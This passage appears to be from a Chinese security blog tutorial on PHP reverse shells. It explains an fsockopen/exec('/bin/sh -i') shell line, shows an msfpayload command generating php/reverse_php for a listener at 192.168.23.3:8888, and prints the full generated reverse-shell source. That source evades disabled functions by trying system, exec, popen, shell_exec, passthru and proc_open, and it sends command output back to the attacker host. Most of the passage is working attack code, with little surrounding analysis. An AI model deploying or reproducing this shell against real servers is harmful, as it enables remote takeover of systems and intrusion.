建立主机www.baidu.com 80端口的socket连接,然后读写数据模拟正常的HTTP请求.            详细参见:fsockopen            3. exec("/bin/sh -i <&3 >&3 2>&3") exec函数执行系统命令            -i 交互式执行bash.            <&3 从设备符3标识的文件读取命令.            >&3标准输出流输出到文件3            2>&3标注错误输出流输出到3        0x04.相关实践.            测试本shell图:                利用MSF生成反弹shell:msf > msfpayload php/reverse_php LHOST=192.168.23.3 LPORT=8888 R>cf_hb.php            反弹shell代码:$ipaddr=’192.168.23.3′; $port=8888; @set_time_limit(0); @ignore_user_abort(1); @ini_set(‘max_execution_time’,0); $dis=@ini_get(‘disable_functions’); if(!empty($dis)){ $dis=preg_replace(‘/[, ]+/’, ‘,’, $dis); $dis=explode(‘,’, $dis); $dis=array_map(‘trim’, $dis); }else{ $dis=array(); } if(!function_exists(‘MyudDV’)){ function MyudDV($c){ global $dis; if (FALSE !== strpos(strtolower(PHP_OS), ‘win’ )) { $c=$c." 2>&1\n"; } $KwdHnHU=’is_callable’; $QZjDm=’in_array’; if($KwdHnHU(‘system’)and!$QZjDm(‘system’,$dis)){ ob_start(); system($c); $o=ob_get_contents(); ob_end_clean(); }else if($KwdHnHU(‘exec’)and!$QZjDm(‘exec’,$dis)){ $o=array(); exec($c,$o); $o=join(chr(10),$o).chr(10); }else if($KwdHnHU(‘popen’)and!$QZjDm(‘popen’,$dis)){ $fp=popen($c,’r’); $o=NULL; if(is_resource($fp)){ while(!feof($fp)){ $o.=fread($fp,1024); } } @pclose($fp); }else if($KwdHnHU(‘shell_exec’)and!$QZjDm(‘shell_exec’,$dis)){ $o=shell_exec($c); }else if($KwdHnHU(‘passthru’)and!$QZjDm(‘passthru’,$dis)){ ob_start(); passthru($c); $o=ob_get_contents(); ob_end_clean(); }else if($KwdHnHU(‘proc_open’)and!$QZjDm(‘proc_open’,$dis)){ $handle=proc_open($c,array(array(pipe,’r’),array(pipe,’w’),array(pipe,’w’)),$pipes); $o=NULL; while(!feof($pipes[1])){ $o.=fread($pipes[1],1024); } @proc_close($handle); }else { $o=0; } return $o; } } $nofuncs=’no exec functions’; if(is_callable(‘fsockopen’)and!in_array(‘fsockopen’,$dis)){ $s=@fsockopen("udp://192.168.23.3",$port); while($c=fread($s,2048)){ $out = ”; if(substr($c,0,3) == ‘cd ‘){ chdir(substr($c,3,-1)); } else if (substr($c,0,4) == ‘quit’ || substr($c,0,4) == ‘exit’) { break; }else{ $out=MyudDV(substr($c,0,-1)); if($out===false){ fwrite($s,$nofuncs); break; } } fwrite($s,$out); } fclose($s); }else{ $s=@socket_create(AF_INET,SOCK_STREAM,SOL_TCP); @socket_connect($s,$ipaddr,$port); @socket_write($s,"socket_create"); while($c=@socket_read($s,2048)){ $out = ”; if(substr($c,0,3) == ‘cd ‘){ chdir(substr($c,3,-1)); } else if (substr($c,0,4) == ‘quit’ || substr($c,0,4) == ‘exit’) { break; }else{ $out=MyudDV(substr($c,0,-1)); if($out===false){ @socket_write($s,$nofuncs); break; } } @socket_write($s,$out,strlen($out)); } @socket_close($s);            msf生成的反弹shell通过ini_get读取配置,判断操作系统,哪些命令执行函数可用.通过ini_set set_time_limit 等动态调整了程序执行环境.代码确实精简强大,对Linux,Windows系统的兼容性比较好.... 继续阅读 »